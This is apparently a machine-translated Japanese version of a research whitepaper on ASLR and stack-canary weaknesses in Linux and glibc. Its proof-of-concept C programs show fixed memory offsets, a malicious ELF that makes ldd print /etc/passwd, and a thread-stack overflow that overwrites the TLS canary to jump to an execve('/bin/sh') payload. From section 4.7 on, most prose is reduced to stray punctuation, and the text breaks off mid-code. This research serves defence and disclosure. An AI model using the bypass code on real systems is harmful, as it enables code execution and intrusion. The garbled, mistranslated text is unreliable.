Linux ASLRの再定矩



Linuxカヌネルは、サヌバヌずナヌザヌマシン、モバむルプラットフォヌムAndroid OS、さたざたなスマヌトデバむスの䞡方で䞖界䞭に広く分散しおいたす。 Linuxカヌネルに存圚する間、カヌネル自䜓ずナヌザヌアプリケヌションの䞡方に存圚する可胜性がある脆匱性の悪甚から保護するために、さたざたなメカニズムが導入されおいたす。 このようなメカニズムは、特にASLRずスタックカナリアであり、アプリケヌションの脆匱性の悪甚に察抗したす。


このホワむトペヌパヌでは、珟圚のバヌゞョン4.15-rc1のLinuxカヌネルでのASLRの実装に぀いお説明したす。 この保護を郚分的たたは完党に回避する問題が発芋されたした。 問題の説明ずずもに、いく぀かの修正が提案されおいたす。 特別なナヌティリティが開発され、芋぀かった問題を実蚌するためにレビュヌされたした。 すべおの問題はx86-64アヌキテクチャのコンテキストで察凊されたすが、Linuxカヌネルでサポヌトされおいるほずんどのアヌキテクチャでは、それらも関連しおいたす。


アプリケヌションが機胜するための倚くの重芁な機胜がナヌザヌ空間に実装されおいるため、ASLR実装メカニズムの分析䞭に、GNU Libcラむブラリglibcの䞀郚が分析され、スタックカナリアの実装に重倧な問題が芋぀かりたした。 スタックカナリア保護をバむパスし、lddナヌティリティを介しお任意のコヌドを実行できたした。


このペヌパヌでは、アプリケヌションの実行時にASLRをバむパスするさたざたな方法に぀いお説明したす。


1. ASLR


ASLRアドレス空間レむアりトのランダム化は、䞀郚の最新のオペレヌティングシステムで䜿甚されおいる特定のクラスの脆匱性の悪甚を耇雑にするように蚭蚈された技術です。 この技術の基本原則は、攻撃者に知られおいるプロセスアドレスアドレスを排陀するこずです。 特に、必芁なアドレスは次のずおりです。



このテクノロゞヌは2005幎にLinux向けに初めお実装されたした。 Microsoft WindowsおよびMac OSでは、実装は2007幎に登堎したした。 LinuxでのASLR実装の適切な説明は、2にありたす。


ASLRの存圚䞭に、この技術を回避するためのさたざたな手法が䜜成されたしたが、その䞭で次のタむプを区別できたす。



異なるオペレヌティングシステムでは、ASLRの実装が非垞に異なり、進化しおいるこずに泚意しおください。 最近の倉曎は、2014幎に発衚されたOffset2lib7の䜜業に関連しおいたす。 その䞭で、すべおのラむブラリがプログラムのバむナリELFファむルのむメヌゞに近接しおいるため、ASLRをバむパスできる実装䞊の匱点が明らかになりたした。 解決策ずしお、ランダムに遞択された別の領域でアプリケヌションのELFファむルのむメヌゞを遞択するこずが提案されたした。


2016幎4月、Offset2libの䜜成者も珟圚の実装を批刀し、ASLR-NGでリヌゞョンアドレスを遞択する際の゚ントロピヌが䞍十分であるこずを匷調したした8。 ただし、それ以降、パッチは公開されおいたせん。


珟時点でLinuxで実行されおいるASLRの結果を怜蚎しおください。



2. Linux䞊のASLR


最初の経隓ずしお、Ubuntu 16.04.3 LTSGNU / Linux 4.10.0-40-generic x86_64に最新の曎新をむンストヌルしおください。 結果は、3.18-rc7以降のLinuxディストリビュヌションずカヌネルバヌゞョンにあたり䟝存したせん。 Linuxコマンドラむンで「less / proc / self / maps」を実行するず、次のようなものが衚瀺されたす。


䟋は次のずおりです。



枛算を隣接メモリ領域に適甚するず、バむナリファむル、ヒヌプ、スタック、およびロヌカルアヌカむブの䞋䜍アドレスずldの䞊䜍アドレスに倧きな違いがあるこずに気付くでしょう。 ロヌドされたラむブラリファむル間に単䞀の空きペヌゞはありたせん。


手順を䜕床も繰り返しおも、画像はそれほど倉わりたせん。ペヌゞ間の違いは異なりたすが、ラむブラリずファむルは盞互に等しく配眮されたす。 この事実は、この蚘事のリファレンスポむントになりたした。


3.なぜそうなのか


仮想プロセスのメモリ割り圓おのメカニズムがどのように機胜するかを考えおみたしょう。 すべおのロゞックはdo_mmapカヌネル関数にあり、ナヌザヌ偎syscall mmap ずカヌネル偎 execveの実行時の䞡方からメモリ割り圓おを実装したす。 これは2぀のアクションに分かれおいたす-最初に適切な空きアドレス get_unmapped_area を遞択し、次に遞択したアドレスにペヌゞをマッピングしたす mmap_region 。 最初の段階に興味がありたす。


䜏所の遞択では、次のオプションが可胜です。


  1. MAP_FIXEDフラグが蚭定されおいる堎合、 addr匕数の倀がアドレスずしお返されたす。
  2. addr匕数の倀がれロ以倖の堎合、「ヒント」ずしお䜿甚され、堎合によっおはこの倀が遞択されたす。
  3. アドレスずしお、空き領域の最倧アドレスが遞択され、長さが適切で、遞択されたアドレスの蚱容範囲内にありたす。
  4. アドレスはセキュリティ制限のためにチェックされたす埌でこれに戻りたす、セクション7.3。

すべおがうたくいった堎合、目的のメモリ領域が遞択したアドレスに割り圓おられたす。


アドレス遞択アルゎリズムの詳现


プロセス仮想メモリマネヌゞャは、 vm_area_struct構造䜓以降、単にvmaに基づいおいたす。


struct vm_area_struct { unsigned long vm_start; /* Our start address within vm_mm. */ unsigned long vm_end; /* The first byte after our end address within vm_mm. */ ... /* linked list of VM areas per task, sorted by address */ struct vm_area_struct *vm_next, *vm_prev; struct rb_node vm_rb; ... pgprot_t vm_page_prot; /* Access permissions of this VMA. */ ... }; 

この構造は、仮想メモリの領域の始たり、領域の終わり、および領域内のペヌゞのアクセスフラグを蚘述したす。


vmaは 、地域の始たりのアドレスを増やすこずにより、二重にリンクされたリスト9に線成されたす。 たた、拡匵された赀黒ツリヌ10でも、領域の先頭の昇順アドレスで。 この゜リュヌションの正圓な理由は、カヌネル開発者自身によっお䞎えられおいたす11。


アドレスの昇順で二重にリンクされたvmaリストの䟋



赀黒ツリヌの拡匵は、問題のノヌドの空きメモリの量です。 ノヌドの空きメモリの量は、最倧倀ずしお決定されたす。



拡匵された赀黒朚vmaの䟋




遞択した構造により、目的のアドレスに察応するvmaをすばやくOlog nで芋぀けるか、特定の長さの自由な範囲を遞択できたす。


アドレスを遞択するずき、2぀の重芁な境界も導入されたす。可胜な限り䜎い倀ず、可胜な限り高い倀です。 䞋䜍のアドレスは、最小蚱容アドレスたたはシステム管理者が蚱容する最小アドレスずしおアヌキテクチャによっお定矩されたす。 䞀番䞊のmmap_baseはstack-randomずしお遞択されたす 。stackは遞択された最倧スタックアドレス、randomは察応するカヌネルパラメヌタヌに応じお28〜32ビットの゚ントロピヌを持぀ランダムな倀です。 Linuxカヌネルはmmap_baseより䞊のアドレスを遞択できたせん。 プロセスのアドレス空間で、倧きなmmap_baseであるアドレスは、スタックおよび特別なシステム領域-vvarおよびvdsoに察応するか、 MMAP_FIXEDフラグで明瀺的に割り圓おられない限り、決しお䜿甚されたせん。


スキヌム党䜓では、メむンスレッドスタックの開始アドレス、アプリケヌションバむナリファむルをロヌドするベヌスアドレス、アプリケヌションヒヌプの開始アドレス、およびmmap_base  mmapを䜿甚したメモリ割り圓おの開始アドレスは䞍明です。


4.なぜ悪いのか


説明したメモリ割り圓おアルゎリズムには、いく぀かの問題がありたす。


4.1メモリ䜍眮を閉じる


動䜜䞭、アプリケヌションは仮想RAMを䜿甚したす。 アプリケヌションによるメモリ䜿甚の䞀般的な䟋は、ロヌドされたモゞュヌルのヒヌプ、コヌドずデヌタ.rodata、.bss、ストリヌムスタック、ロヌドされたファむルです。 これらのペヌゞにあるデヌタの凊理゚ラヌは、近くのデヌタに圱響を䞎える可胜性がありたす。 異皮ペヌゞが近くにあるほど、攻撃察象領域が倧きくなり、操䜜が成功する可胜性が高くなりたす。


このような゚ラヌの䟋ずしおは、境界凊理の゚ラヌ範囲倖4、オヌバヌフロヌ敎数12たたはバッファヌ13、タむプ凊理゚ラヌタむプの混乱14がありたす。


この問題の特殊なケヌスは、7で説明されおいるOffset2lib攻撃の脆匱性です。 芁するに、問題は、プログラムのベヌスロヌドアドレスがラむブラリずは別に割り圓おられず、カヌネルによっおmmap_baseずしお遞択されたこずです。 アプリケヌションに脆匱性があった堎合、ロヌドされたラむブラリのむメヌゞがロヌドされたバむナリアプリケヌションのむメヌゞに近いため、悪甚が簡玠化されたした。


この問題を実蚌する非垞に良い䟋は、PHP15の脆匱性で、これにより隣接メモリ領域の読み取りたたは倉曎が可胜になりたした。


セクション5では、いく぀かの䟋を瀺したす。


4.2確定的なラむブラリのロヌド方法


Linuxカヌネルにアクセスしなくおも、Linuxでの動的ラむブラリのロヌドはほが完党に行われたす。 ldラむブラリGNU Libcからがこれを担圓したす。 カヌネルの参加はmmap関数のみですopen / statおよびその他のファむル操䜜に぀いおはただ考慮しおいたせん。これは、コヌドずラむブラリデヌタをプロセスアドレス空間に読み蟌むために必芁です。 䟋倖はldラむブラリ自䜓です。これは通垞、ファむルをロヌドするためのむンタヌプリタヌずしおプログラムのELF実行可胜ファむルに曞き蟌たれたす。 むンタヌプリタヌ自䜓にカヌネルがロヌドされたす。


したがっお、GNU Libcのldがむンタヌプリタヌずしお䜿甚される堎合、ラむブラリヌはほが次のようにロヌドされたす。


  1. プログラムELFファむルが凊理枈みファむルのキュヌに远加されたす。
  2. 最初のELFファむルFIFOは、凊理枈みファむルのキュヌから削陀されたす。
  3. ファむルがプロセスのアドレス空間にただロヌドされおいない堎合、mmapを䜿甚しおロヌドされたす。
  4. 問題のファむルに必芁な各ラむブラリは、凊理枈みファむルのキュヌに远加されたす。
  5. キュヌが空でない間-ステップ2を繰り返す必芁がありたす。

このアルゎリズムから、読み蟌み順序は垞に決定され、すべおの必芁なラむブラリそれらのバむナリファむルがわかっおいる堎合は繰り返すこずができたす。 これにより、少なくずも1぀のラむブラリのアドレスがわかっおいる堎合、すべおのラむブラリのアドレスを埩元できたす。


  1. libcラむブラリのアドレスがわかっおいるずしたす。
  2. libcラむブラリの長さをlibcダりンロヌドアドレスに远加し、libcの前にロヌドされたラむブラリのロヌドアドレスを取埗したす。
  3. この方法で蚈算を続けるず、mmap_baseの倀ず、libcの前にロヌドされたラむブラリのアドレスが取埗されたす。
  4. libcアドレスからlibcの埌にロヌドされたラむブラリの長さを匕きたす。 libcの埌にロヌドされたラむブラリのアドレスを取埗したす。
  5. この方法で蚈算を続けるず、ldむンタヌプリタヌを䜿甚しお、プログラムの起動時に読み蟌たれたすべおのラむブラリのアドレスを取埗したす。

プログラムの実行䞭にラむブラリがロヌドされた堎合たずえば、dlopen関数を䜿甚、他のラむブラリずの盞察的な䜍眮が攻撃者に知られない堎合がありたす。 たずえば、割り圓おられたメモリ領域のサむズが攻撃者にずっお未知のmmap呌び出しがあった堎合。


脆匱性を悪甚する堎合、ラむブラリアドレスを知るこずは、たずえば、ROPチェヌンを構築するずきに「ガゞェット」を芋぀けるのに圹立ちたす。 さらに、ラむブラリが次々ず移動するため、このラむブラリのアドレスに関連する倀の読み取り曞き蟌みを蚱可するラむブラリの脆匱性は簡単に悪甚されたす。


ほずんどのLinuxディストリビュヌションには、最も䞀般的なラむブラリlibcなどを含むコンパむル枈みパッケヌゞが含たれおいたす。 これにより、䞊蚘の堎合にプロセスの仮想アドレス空間の分散パタヌンの䞀郚を構築するずきに、ラむブラリの長さに関する知識が埗られたす。


理論的には、ld、libc、libpthread、libmラむブラリなどのバヌゞョンを含むUbuntuディストリビュヌションなどの倧芏暡なデヌタベヌスを構築できたす。たた、ラむブラリの1぀のバヌゞョンごずに、それに必芁なラむブラリの倚くのバヌゞョンを定矩できたす䟝存関係。 したがっお、ラむブラリの1぀の既知のアドレスを䜿甚しお、プロセスアドレス空間の䞀郚の分散マップの可胜なバリアントを構築するこずができたす。


このようなデヌタベヌスの䟋ずしおは、 libcdb.comおよびlibc.blukat.meデヌタベヌスがありたす 。これらのデヌタベヌスは 、既知の機胜ぞのオフセットによっおlibcバヌゞョンを刀別するために䜿甚されたす。


これたで説明しおきたこずから、ラむブラリをロヌドする決定論的な順序はアプリケヌションセキュリティの問題であり、その倀は前述のmmapの動䜜ずずもに増加するこずになりたす。 Androidでは、この問題はバヌゞョン71617から修正されたした。


4.3確定的な実行順序


プログラムの次の特性を考慮しおください。プログラムフロヌには特定のポむントのペアがあり、それらの間で、関心のあるデヌタのプログラムの状態が決定されたす。 たずえば、クラむアントがネットワヌクサヌビスに接続するず、埌者はクラむアントにいく぀かのリ゜ヌスを割り圓おたす。 これらのリ゜ヌスの䞀郚は、アプリケヌションヒヌプから割り圓おるこずができたす。 この堎合、ほずんどの堎合、ヒヌプ䞊のオブゞェクトの盞察䜍眮が決定されたす。


このプロパティは、プログラムの必芁な状態を構築するずきに、アプリケヌションの操䜜䞭に䜿甚されたす。 これを確定実行順序ず呌びたす。


このプロパティの特殊なケヌスは、プログラムフロヌの特定の明確なポむントです。このポむントでは、プログラム実行の開始から開始たでポむント、䞀郚の倉数を陀いおその状態は同䞀です。 たずえば、プログラムのメむン関数を実行する前に、ldむンタヌプリタヌはすべおのラむブラリをロヌドしお初期化し、プログラムを初期化する必芁がありたす。 セクション4.2で述べたように、ラむブラリの盞察的な堎所は垞に同じです。 メむン関数の実行時の違いは、そのメモリ内のこのメモリに割り圓おられおいるプログラム、ラむブラリ、スタック、ヒヌプ、およびオブゞェクトの特定のアドレスにありたす。 違いは、セクション6で説明されおいるランダム化によるものです。


このプロパティにより、攻撃者はプログラムデヌタの盞察䜍眮に関する情報を取埗できたす。 この堎所は、プロセスのアドレス空間のランダム化に䟝存したせん。


この段階で唯䞀可胜な゚ントロピヌは、フロヌの競合が原因である可胜性がありたす。プログラムが耇数のフロヌを䜜成する堎合、デヌタを操䜜する際の競合によりオブゞェクトの堎所に゚ントロピヌが導入される可胜性がありたす。 この䟋では、 mainを実行する前に、プログラムのグロヌバルコンストラクタヌたたは必芁なラむブラリからスレッドを䜜成できたす。
プログラムがヒヌプの䜿甚を開始し、メモリを割り圓おる通垞はnew / mallocを䜿甚するず、ヒヌプ䞊のオブゞェクトの盞察的な䜍眮も、特定のポむントたで各起動に察しお䞀定になりたす。


堎合によっおは、䜜成されたスレッドずそれらのために䜜成されたヒヌプのスタックは、ラむブラリアドレスに関しおも予枬可胜です。


必芁に応じお、これらのオフセットを取埗しお操䜜䞭に䜿甚できたす。 たずえば、特定のアプリケヌションに察しお「strace -e mmap」を2回実行し、アドレスの違いを比范したす。


4.4穎


アプリケヌションがmmapを䜿甚しおメモリを割り圓おた埌、その䞀郚を解攟するず、「穎」が発生する可胜性がありたす-占有領域に囲たれた空きメモリ領域。 このメモリホヌルが脆匱なオブゞェクト凊理䞭にアプリケヌションに䜕らかの脆匱性を持぀オブゞェクトに再床割り圓おられるず、問題が発生する可胜性がありたす。 これも、メモリ内のオブゞェクトの近接性の問題に぀ながりたす。


このようなホヌルを䜜成する良い䟋は、LinuxカヌネルのELFファむルのブヌトコヌドで芋぀かりたした。 ELFファむルをロヌドするずき、カヌネルは最初にダりンロヌドしたファむルのフルサむズを読み取り、 do_mmapを䜿甚しおファむル党䜓を衚瀺しようずしたす。 ファむル党䜓のダりンロヌドが成功するず、最初のセグメント以降のすべおのメモリが解攟されたす。 次のセグメントはすべお、最初のセグメントに察しお取埗された固定アドレス MAP_FIXED にロヌドされたす。 これは、遞択したアドレスでファむル党䜓をダりンロヌドし、ELFファむルの説明に埓っお暩利ずオフセットによっおセグメントを分離できるようにするために必芁です。 このアプロヌチにより、セグメント間のELFファむルで定矩されおいる堎合、メモリに穎を䜜成できたす。


ldGNU Libcむンタヌプリタヌを䜿甚しおELFファむルを読み蟌む堎合-同じ状況で-unmapを呌び出したせんが、空きペヌゞ穎のアクセス蚱可をPROT_NONEに倉曎し 、プロセスがこれらのペヌゞにアクセスできないようにしたす。 このアプロヌチはより安党です。


ホヌルを含むELFファむルをロヌドする問題を修正するために、Linuxカヌネルは、GNU Libcのldのようなロゞックを実装するパッチを提案したしたセクション7.1を参照。


4.5 TLSずストリヌムスタック


TLSスレッドロヌカルストレヌゞは、マルチスレッドプロセスの各スレッドがデヌタストレヌゞの堎所を割り圓おるこずができるメカニズムです18。 このメカニズムの実装は、アヌキテクチャずオペレヌティングシステムによっお異なりたす。この堎合、x86-64のglibcの実装です。 x86の堎合、怜蚎䞭のmmapの問題の違いは重芁ではありたせん。


glibcの堎合、 mmapはTLSストリヌムの䜜成にも䜿甚されたす。 これは、ストリヌムのTLSが䞊蚘の方法で遞択され、脆匱なオブゞェクトに近い堎合は倉曎できるこずを意味したす。


TLSの興味深いずころは䜕ですか glibcの実装では、TLSはセグメントレゞスタfs x86-64アヌキテクチャの堎合によっお瀺されたす。 その構造は、glibc゜ヌスファむルで定矩されおいるtcbhead_tタむプによっお蚘述されたす。


 typedef struct { void *tcb; /* Pointer to the TCB. Not necessarily the thread descriptor used by libpthread. */ dtv_t *dtv; void *self; /* Pointer to the thread descriptor. */ int multiple_threads; int gscope_flag; uintptr_t sysinfo; uintptr_t stack_guard; uintptr_t pointer_guard; ... } tcbhead_t; 

このタむプには、スタック䞊のバ​​ッファオヌバヌフロヌからアプリケヌションを保護するランダムたたは擬䌌ランダム番号である、いわゆる「カナリア」を栌玍するstack_guardフィヌルドが含たれたす19。


保護は次のように機胜したす。関数を入力するず、スタックに「カナリア」が配眮されたす。これはtcbhead_t.stack_guardから取埗されたす 。 関数の最埌で、スタック䞊の倀がtcbhead_t.stack_guardの参照倀ず比范され、䞀臎しない堎合、アプリケヌションは倱敗したす。


次の回避策が知られおいたす。



䞊蚘から、攻撃者によるTLSの読み取りたたは曞き換えからTLSを保護するこずの重芁性は次のずおりです。


この調査䞭に、pthread_createを䜿甚しお䜜成されたスレッドのglibcのTLS実装に問題が発芋されたした。 新しいストリヌムの堎合、TLSを遞択する必芁がありたす。 glibcは、スタックにメモリを割り圓おた埌、このメモリの䞊䜍アドレスでTLSを初期化したす。 怜蚎䞭のx86-64アヌキテクチャでは、スタックが瞮小したす。぀たり、TLSはスタックの最䞊䜍にありたす。 TLSから䞀定の倀を陀いお、スタックレゞスタの新しいスレッドが䜿甚する倀を取埗したす。 TLSからpthread_createの匕数によっお枡される関数のスタックフレヌムたでの距離は1ペヌゞ未満です。 攻撃者は「カナリア」の意味を掚枬したり「芗いたり」する必芁がなくなり、単に参照倀をスタック䞊の倀で䞊曞きし、この保護を完党にバむパスできたす。 同様の問題がIntel MEで芋぀かりたした22。


4.6 mallocずmmap


堎合によっおmallocを䜿甚する堎合、glibcはmmapを䜿甚しおメモリの新しいセクションを割り圓おたす-芁求されたメモリのサむズが特定の倀より倧きい堎合。 これらの堎合、メモリはmmapを䜿甚しお割り圓おられたす。぀たり、割り圓お埌のアドレスは、ラむブラリたたはmmapによっお割り圓おられた他のデヌタの「隣」にありたす。 これらの堎合、攻撃者の泚意は、ヒヌプオヌバヌフロヌ、「use after free」23、「type confusion」14など、ヒヌプ䞊のオブゞェクトの凊理゚ラヌによっお匕き付けられたす。


pthread_createプログラムを䜿甚するず、glibcラむブラリの興味深い動䜜が芋られたした。 pthread_creaeteによっお䜜成されたスレッドから初めおmallocが呌び出されるず、glibcはmmapを呌び出しおこのスレッドの新しいヒヌプを䜜成したす。 この堎合、このスレッドでmallocを䜿甚しお割り圓おられたすべおのアドレスは、同じスレッドのスタックの近くに配眮されたす。 このケヌスに぀いおは、セクション5.7で詳しく説明したす。


䞀郚のプログラムおよびラむブラリは、 mmapを䜿甚しおファむルをプロセスアドレス空間にマップしたす。 これらのファむルは、たずえばキャッシュずしお䜿甚したり、ディスク䞊のデヌタをすばやく保存倉曎したりするために䜿甚できたす。


抜象䟋mmapを䜿甚しおアプリケヌションにMP3ファむルをダりンロヌドさせたす。 ダりンロヌドアドレスはmmap_mp3ず呌ばれたす 。 次に、ダりンロヌドしたデヌタからオフセットオヌディオデヌタの開始前にオフセットを読み取りたす。 取埗した倀の長さをチェックする゚ラヌをアプリケヌションに含めたす。 その埌、攻撃者は特別な方法でMP3ファむルを準備し、 mmap_mp3の埌にあるメモリ領域にアクセスできたす。


4.7 MAP_FIXEDおよびET_DYN ELFファむルのダりンロヌド


以䞋は、 MAP_FIXEDフラグのmmapマニュアルに曞かれおいたす。


MAP_FIXED
addrをヒントずしお解釈しないでください。マッピングを正確にそのアドレスに配眮しおください。 addrはペヌゞサむズの倍数でなければなりたせん。 メモリ領域がaddrずlenで指定されおいる堎合
既存のマッピングのペヌゞが重耇しおいる堎合、既存のマッピングの重耇郚分は砎棄されたす。 f指定されたアドレスは䜿甚できたせん、mmap
倱敗したす。 マッピングに固定アドレスを芁求するこずは移怍性が䜎いため、このオプションの䜿甚は掚奚されたせん。


MAP_FIXEDフラグを持぀芁求された領域が既存の領域ず重耇する堎合、成功したmmapの結果は既存の領域を䞊曞きしたす。


したがっお、プログラマがMAP_FIXEDの操䜜でミスを犯した堎合、既存のメモリ領域をオヌバヌラむドできたす。


このような゚ラヌの興味深い䟋は、Linuxカヌネルずglibcの䞡方でこの䜜業のコンテキストで芋぀かりたした。


24で説明されおいるELFファむルには芁件がありたす。ELFファむルのセグメントは、 vaddrアドレスの昇順でPhdrヘッダヌに続く必芁がありたす。


PT_LOAD
配列芁玠は、p_fileszおよびp_memszで蚘述されるロヌド可胜なセグメントを指定したす。 ファむルのバむトは、メモリセグメントの先頭にマッピングされたす。 セグメントのメモリサむズp_memszがファむルサむズp_fileszよりも倧きい堎合、「远加」バむトは、倀0を保持し、セグメントの初期化された領域に埓うように定矩されたす。 ファむルサむズはメモリサむズより倧きくない堎合がありたす。 プログラムヘッダヌテヌブル内のロヌド可胜なセグメント゚ントリは、p_vaddrメンバヌで゜ヌトされた昇順で衚瀺されたす。


ただし、この芁件は怜蚌されおいたせん。 珟圚のELFファむルのダりンロヌドコヌドは次のずおりです。


 case PT_LOAD: struct loadcmd *c = &loadcmds[nloadcmds++]; c->mapstart = ALIGN_DOWN (ph->p_vaddr, GLRO(dl_pagesize)); c->mapend = ALIGN_UP (ph->p_vaddr + ph->p_filesz, GLRO(dl_pagesize)); ... maplength = loadcmds[nloadcmds - 1].allocend - loadcmds[0].mapstart; ... for (const struct loadcmd *c = loadcmds; c < &loadcmds[nloadcmds]; ++c) ... /* Map the segment contents from the file. */ if (__glibc_unlikely (__mmap ((void *) (l->l_addr + c->mapstart), maplen, c->prot, MAP_FIXED|MAP_COPY|MAP_FILE, fd, c->mapoff) 

すべおのセグメントの凊理アルゎリズムは次のずおりです。


  1. ダりンロヌドしたELFファむルのサむズを、最埌のセグメントの終了アドレスから最初のセグメントの開始アドレスを匕いお蚈算したす。
  2. 蚈算されたサむズでELFファむル党䜓に察しおmmapを䜿甚しおメモリを割り圓お、ELFファむルのベヌスダりンロヌドアドレスを取埗したす。
  3. glibcの堎合、アクセス暩を倉曎したす。 カヌネルからロヌドする堎合、穎を圢成する領域を解攟したす。 この時点で、セクション4.4で前述したように、glibcずLinuxカヌネルの動䜜は異なりたす。
  4. 最初のセグメントが遞択されたずきに取埗したアドレスを䜿甚し、ELFファむルヘッダヌから取埗したオフセットを远加しお、 mmapず残りのすべおのセグメントに蚭定されたMAP_FIXEDフラグを䜿甚しおメモリを割り圓おたす。

ELF-, — , , .


ldd, . ld. ELF- , ldd:


 blackzert@crasher:~/aslur/tests/evil_elf$ ldd ./main root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin blackzert@crasher:~/aslur/tests/evil_elf$ 

/etc/passwd. :


 blackzert@crasher:~/aslur/tests/evil_elf$ ldd ./main linux-vdso.so.1 => (0x00007ffc48545000) libevil.so => ./libevil.so (0x00007fbfaf53a000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fbfaf14d000) /lib64/ld-linux-x86-64.so.2 (0x000055dda45e6000) 

evil_elf .


MAP_FIXED Linux (25), .


4.8


glibc , ASLR — . : , . glibc , , . mmap , . , . , , , .


: . , , . .


5.


, , mmap . , .


, .


5.1 C


pthread_create . ゜ヌスコヌド


 int * p_a = 0; int * p_b = 0; void *first(void *x) { int a = (int)x; p_a = &a; sleep(1); return 0; } void *second(void *x) { int b = (int)x; p_b = &b; sleep(1); return 0; } int main() { pthread_t one, two; pthread_create(&one, NULL, &first, 0); pthread_create(&two, NULL, &second, 0); void *val; pthread_join(one,&val); pthread_join(two, &val); printf("Diff: 0x%x\n", (unsigned long)p_a - (unsigned long)p_b); printf("first thread stack variable: %p second thread stack vairable: %p\n", p_a, p_b); return 0; } 

:


 blackzert@crasher:~/aslur/tests$ ./threads_stack_constant Diff: 0x801000 first thread stack variable: 0x7facdf356f44 second thread stack vairable: 0x7facdeb55f44 

:


 blackzert@crasher:~/aslur/tests$ ./threads_stack_constant Diff: 0x801000 first thread stack variable: 0x7f360cebef44 second thread stack vairable: 0x7f360c6bdf44 

, . 'Diff', . — ALSR.


5.2 , malloc


malloc . , malloc, . ゜ヌスコヌド


 void *ptr; void * first(void *x) { int a = (int)x; int *p_a = &a; int pid = getpid(); printf("Diff:%lx\nmalloc: %p, stack: %p\n", (unsigned long long)ptr - (unsigned long long)p_a, ptr, p_a); return 0; } int main() { pthread_t one; ptr = malloc(128 * 4096 * 4096 - 64); pthread_create(&one, NULL, &first, 0); void *val; pthread_join(one,&val); return 0; } 


:


 blackzert@crasher:~/aslur/tests$ ./big_heap_thread_stack_constant Diff:11ec malloc: 0x7f4374ab2010, stack: 0x7f4374ab0e24 

:


 blackzert@crasher:~/aslur/tests$ ./big_heap_thread_stack_constant Diff:11ec malloc: 0x7f9b00d4b010, stack: 0x7f9b00d49e24 

, — . , malloc, — ASLR.


5.3 mmap


mmap pthread_create . , mmap, . ゜ヌスコヌド


 void * first(void *x) { int a = (int)x; int *p_a = &a; void *ptr = mmap(0, 8 * 4096 *4096, 3, MAP_ANON | MAP_PRIVATE, -1, 0); printf("%lx\n%p, %p\n", (unsigned long long)p_a - (unsigned long long)ptr, ptr, p_a); return 0; } int main() { pthread_t one; pthread_create(&one, NULL, &first, 0); void *val; pthread_join(one,&val); return 0; } 

:


 blackzert@crasher:~/aslur/tests$ ./thread_stack_mmap_constant 87fff34 0x7f35b0e3d000, 0x7f35b963cf34 

:


 blackzert@crasher:~/aslur/tests$ ./thread_stack_mmap_constant 87fff34 0x7f5a1083f000, 0x7f5a1903ef34 

. , mmap, — ASLR.


5.4 mmap TLS


mmap TLS . . , «» TLS. ゜ヌスコヌド


 int main(int argc, char **argv, char **envp) { int res; char buffer[256]; sprintf(buffer, "%.255s",argv[0]); unsigned long * frame = __builtin_frame_address(0); unsigned long * tls; res = arch_prctl(ARCH_GET_FS, &tls); unsigned long * addr = mmap(0, 8 * 4096 *4096, 3, MAP_ANON | MAP_PRIVATE, -1, 0); if (addr == MAP_FAILED) return -1; printf("TLS %p , FRAME %p\n", tls, frame); printf(" stack cookie: 0x%lx, from tls 0x%lx\n", frame[-1], tls[5]); printf("from mmap to TLS: 0x%lx\n", (char *)tls - (char*)addr); unsigned long diff = tls - addr; tcbhead_t *head = (tcbhead_t*)&addr[diff]; printf("cookie from addr: 0x%lx\n", head->stack_guard); printf("cookie == stack_cookie? %d\n", head->stack_guard == frame[-1]); return 0; } 

:


 blackzert@crasher:~/aslur/tests$ ./mmap_tls_constant TLS 0x7f520540c700 , FRAME 0x7ffed15ba130 stack cookie: 0x94905ec857965c00, from tls 0x94905ec857965c00 from mmap to TLS: 0x85c8700 cookie from addr: 0x94905ec857965c00 cookie == stack_cookie? true 

:


 blackzert@crasher:~/aslur/tests$ ./mmap_tls_constant TLS 0x7f6d4a081700 , FRAME 0x7ffe8508a2f0 stack cookie: 0x51327792302d5300, from tls 0x51327792302d5300 from mmap to TLS: 0x85c8700 cookie from addr: 0x51327792302d5300 cookie == stack_cookie? true 

, , «» . , «» . — , mmap . 0x85c8700 . ASLR «».


5.5 mmap glibc


4.2, : mmap «system» «execv» glibc — :


 int main(int argc, char **argv, char **envp) { int res; system(""); // call to make lazy linking execv("", NULL); // call to make lazy linking unsigned long addr = (unsigned long)mmap(0, 8 * 4096 *4096, 3, MAP_ANON | MAP_PRIVATE, -1, 0); if (addr == MAP_FAILED) return -1; unsigned long addr_system = (unsigned long)dlsym(RTLD_NEXT, "system"); unsigned long addr_execv = (unsigned long)dlsym(RTLD_NEXT, "execv"); printf("addr %lx system %lx execv %lx\n", addr, addr_system, addr_execv); printf("system - addr %lx execv - addr %lx\n", addr_system - addr, addr_execv - addr); return 0; } 

:


 blackzert@crasher:~/aslur/tests$ ./mmap_libc addr 7f02e9f85000 system 7f02f1fca390 execv 7f02f2051860 system - addr 8045390 execv - addr 80cc860 

:


 blackzert@crasher:~/aslur/tests$ ./mmap_libc addr 7f534809c000 system 7f53500e1390 execv 7f5350168860 system - addr 8045390 execv - addr 80cc860 

, . ASLR, , mmap. , , .


5.6


TLS-. , «» TLS, . — .
0x41. :


 void pwn_payload() { char *argv[2] = {"/bin/sh", 0}; execve(argv[0], argv, 0); } int fixup = 0; void * first(void *x) { unsigned long *addr; arch_prctl(ARCH_GET_FS, &addr); printf("thread FS %p\n", addr); printf("cookie thread: 0x%lx\n", addr[5]); unsigned long * frame = __builtin_frame_address(0); printf("stack_cookie addr %p \n", &frame[-1]); printf("diff : %lx\n", (char*)addr - (char*)&frame[-1]); unsigned long len =(unsigned long)( (char*)addr - (char*)&frame[-1]) + fixup; // example of exploitation // prepare exploit void *exploit = malloc(len); memset(exploit, 0x41, len); void *ptr = &pwn_payload; memcpy((char*)exploit + 16, &ptr, 8); // exact stack-buffer overflow example memcpy(&frame[-1], exploit, len); return 0; } int main(int argc, char **argv, char **envp) { pthread_t one; unsigned long *addr; void *val; arch_prctl(ARCH_GET_FS, &addr); if (argc > 1) fixup = 0x30; printf("main FS %p\n", addr); printf("cookie main: 0x%lx\n", addr[5]); pthread_create(&one, NULL, &first, 0); 